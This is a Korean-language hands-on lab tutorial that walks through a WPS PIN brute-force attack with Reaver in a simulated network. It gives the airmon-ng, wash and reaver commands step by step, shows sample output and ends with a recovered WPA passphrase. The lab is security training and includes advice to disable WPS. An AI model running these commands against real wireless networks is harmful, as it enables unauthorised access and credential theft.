Reaver 를 사용하여 WPS 무차별 대입 공격 수행

Beginner
지금 연습하기

소개

Wi-Fi Protected Setup (WPS) 는 라우터와 무선 장치 간의 연결을 더 빠르고 쉽게 만들기 위해 설계된 네트워크 보안 표준입니다. 그러나 PIN 기능의 중대한 설계 결함으로 인해 무차별 대입 공격 (brute-force attacks) 에 취약합니다.

이 실습에서는 이 취약점을 악용하는 방법을 배우게 됩니다. 이를 위해 특별히 설계된 도구인 Reaver 를 사용할 것입니다. 무선 인터페이스 설정 및 대상 스캔부터 공격 시작 및 WPA/WPA2 암호 복구 성공까지 전체 과정을 살펴보게 됩니다. 이러한 실습 경험을 통해 일반적인 Wi-Fi 공격 벡터와 네트워크 보안 위생의 중요성에 대한 실질적인 이해를 얻을 수 있습니다.

이 실습에서는 시뮬레이션된 Wi-Fi 환경을 사용하므로 안전하고 합법적으로 이러한 작업을 수행할 수 있습니다.

wash 스캔에서 대상 BSSID 선택

이 단계에서는 무선 인터페이스를 모니터링 준비하고 취약한 WPS 지원 네트워크를 스캔합니다. 첫 번째 작업은 무선 카드를 "모니터 모드 (monitor mode)"로 전환하는 것입니다. 이를 통해 장치로 향하는 트래픽뿐만 아니라 공기 중에 있는 모든 Wi-Fi 트래픽을 캡처할 수 있습니다. 이를 위해 airmon-ng를 사용할 것입니다. 그런 다음 wash를 사용하여 대상을 식별합니다.

먼저 가상 무선 인터페이스 wlan0를 모니터 모드로 시작합니다. 이렇게 하면 일반적으로 wlan0mon이라는 새 인터페이스가 생성됩니다.

sudo airmon-ng start wlan0

모니터 모드가 활성화되었음을 확인하는 출력이 표시되어야 합니다. 이제 인터페이스가 모니터 모드에 있으므로 wash를 사용하여 주변의 WPS 지원 액세스 포인트 (access points) 를 스캔할 수 있습니다.

sudo wash -i wlan0mon

잠시 후 wash는 네트워크 목록을 표시합니다. 시뮬레이션된 네트워크의 이름은 TestAP입니다.

BSSID               Ch  WPS Version  WPS Locked  ESSID
--------------------------------------------------------------------------------
XX:XX:XX:XX:XX:XX   6   1.0          No          TestAP

이 출력에서 TestAP 네트워크의 BSSID를 식별하고 복사합니다. BSSID 는 액세스 포인트의 고유한 하드웨어 주소이며, 다음 단계에서 공격을 시작하는 데 필요합니다.

-i 및 -b 플래그를 사용하여 Reaver 공격 시작

이 단계에서는 이전 단계에서 식별한 대상 액세스 포인트에 대한 Reaver 공격을 시작합니다. Reaver 는 올바른 WPS PIN 조합을 찾기 위해 가능한 모든 WPS PIN 조합을 시도하는 프로세스를 자동화합니다.

공격을 시작하려면 Reaver 에 두 가지 필수 정보, 즉 모니터 모드 인터페이스와 대상의 BSSID 를 제공해야 합니다.

  • -i <interface>: 모니터 모드 인터페이스를 지정합니다 (예: wlan0mon).
  • -b <bssid>: 대상 액세스 포인트의 BSSID 를 지정합니다.

이제 reaver 명령을 실행합니다. 이전 단계에서 복사한 실제 BSSID 로 <BSSID_FROM_WASH>를 바꾸십시오.

sudo reaver -i wlan0mon -b <BSSID_FROM_WASH>

명령을 실행하면 Reaver 가 시작됩니다. 대상 액세스 포인트와 연결될 때 초기 상태 메시지가 표시됩니다.

[+] Reaver v1.6.5 WiFi Protected Setup Attack Tool
[+] Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

[+] Waiting for beacon from XX:XX:XX:XX:XX:XX
[+] Associated with TestAP (ESSID: TestAP)

이는 공격이 시작되었음을 나타냅니다. 다음 단계에서는 더 자세한 진행 상황을 보기 위해 매개변수를 추가할 것입니다. 지금은 Ctrl+C를 눌러 현재 명령을 중지할 수 있습니다.

상세 출력을 위한 -vv 매개변수 추가로 진행 상황 모니터링

이 단계에서는 진행 상황에 대한 더 자세한 피드백을 얻기 위해 상세 플래그 (verbose flag) 를 사용하여 Reaver 공격을 다시 시작합니다. 기본적으로 Reaver 의 출력은 상당히 최소화되어 있습니다. 학습 및 문제 해결을 위해 도구가 정확히 무엇을 하고 있는지 확인하는 것이 유용합니다.

Reaver 에는 상세 플래그인 -v와 더 많은 상세 정보를 위한 이중 상세 플래그인 -vv가 있습니다. PIN 시도 및 기타 트랜잭션 정보를 보기 위해 -vv를 사용할 것입니다.

이전 Reaver 명령이 아직 실행 중이라면 Ctrl+C를 눌러 중지하십시오. 이제 -vv 플래그를 끝에 추가하여 명령을 다시 실행하십시오. 이전과 동일한 BSSID 를 사용해야 합니다.

sudo reaver -i wlan0mon -b < BSSID_FROM_WASH > -vv

상세 출력이 활성화되면 이제 공격에 대한 훨씬 더 자세한 로그를 볼 수 있습니다. 여기에는 WPS 인증 교환의 일부인 M1-M7 메시지와 테스트 중인 특정 PIN 이 포함됩니다.

[+] Associated with TestAP (ESSID: TestAP)
[+] Trying pin "12345670"
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
...

이 상세 보기는 Reaver 가 대상에 대해 PIN 을 적극적으로 테스트하고 있음을 확인시켜 줍니다.

PIN 크래킹 시도 및 진행률 관찰

이 단계에서는 Reaver 공격이 실행되는 것을 관찰합니다. 상세 출력이 활성화되어 있으면 실시간으로 진행 상황을 모니터링할 수 있습니다.

Reaver 가 실행되는 동안 터미널 출력에서 두 가지 주요 정보에 주의를 기울이십시오.

  1. PIN 시도: [+] Trying pin "XXXXXXXX"와 같은 줄이 표시됩니다. 이는 Reaver 가 현재 테스트 중인 정확한 PIN 을 보여줍니다.
  2. 진행률 백분율: 주기적으로 Reaver 는 [+] XX.XX% complete와 같은 줄로 진행 상황을 업데이트합니다.

WPS PIN 은 8 자리 숫자이지만 Reaver 는 이를 두 부분으로 나누어 크랙합니다. 먼저 처음 네 자리를 무차별 대입 (brute-force) 하고, 다음 세 자리를 시도한 후, 마지막 숫자는 계산 가능한 체크섬입니다. 이 설계는 가능성의 수를 100,000,000 에서 11,000 으로 크게 줄여 공격을 매우 실용적으로 만듭니다.

시뮬레이션된 환경에서는 액세스 포인트가 Reaver 가 초기에 시도하는 알려진 PIN 으로 구성되었기 때문에 공격이 매우 빠르게 완료될 것입니다. 실제 시나리오에서는 이 과정에 몇 시간이 걸릴 수 있습니다.

명령이 완료될 때까지 실행되도록 두십시오. 이 단계에서는 새로운 명령을 입력할 필요가 없으며, 단순히 출력을 관찰하면 됩니다.

성공 시 WPS PIN 및 WPA 비밀번호 기록

이 단계에서는 Reaver 공격의 성공적인 결과를 확인하고 복구된 자격 증명을 기록합니다.

Reaver 가 올바른 WPS PIN 을 찾으면 이를 사용하여 액세스 포인트에서 WPA/WPA2 비밀번호를 검색합니다. 그런 다음 공격이 중지되고 Reaver 는 복구된 자격 증명을 화면에 출력합니다.

성공적인 출력은 다음과 같이 표시됩니다.

[+] WPS PIN: '12345670'
[+] WPA PSK: 'labex_password'
[+] AP SSID: 'TestAP'

축하합니다! WPS 무차별 대입 공격을 성공적으로 수행하고 네트워크 자격 증명을 복구했습니다.

기록을 위해 이 정보를 프로젝트 디렉터리에 있는 result.txt라는 파일에 저장해 보겠습니다. 다음 명령을 실행하여 파일을 생성하고 자격 증명을 저장하십시오.

echo -e "WPS PIN: 12345670\nWPA Passphrase: labex_password" > ~/project/result.txt

cat 명령을 사용하여 파일 내용을 확인할 수 있습니다.

cat ~/project/result.txt

요약

이 실습에서는 일반적인 Wi-Fi 공격에 대한 실습 경험을 쌓았습니다. WPS 프로토콜의 취약점과 안전하고 시뮬레이션된 환경에서 Reaver 도구를 사용하여 이를 악용하는 방법을 배웠습니다.

다음과 같은 주요 작업을 성공적으로 완료했습니다.

  • airmon-ng를 사용하여 무선 인터페이스를 모니터 모드로 전환했습니다.
  • wash를 사용하여 취약한 WPS 지원 네트워크를 검색하고 식별했습니다.
  • 대상 및 인터페이스를 지정하여 reaver를 사용하여 무차별 대입 공격을 시작했습니다.
  • 상세한 공격 진행 상황을 모니터링하기 위해 상세 플래그를 사용했습니다.
  • WPS PIN 및 WPA 비밀번호를 성공적으로 복구했습니다.

이 연습은 강력한 네트워크 보안 관행의 중요성을 강조합니다. 이러한 유형의 공격으로부터 보호하기 위해 무선 라우터에서 WPS 기능을 비활성화하는 것이 좋습니다.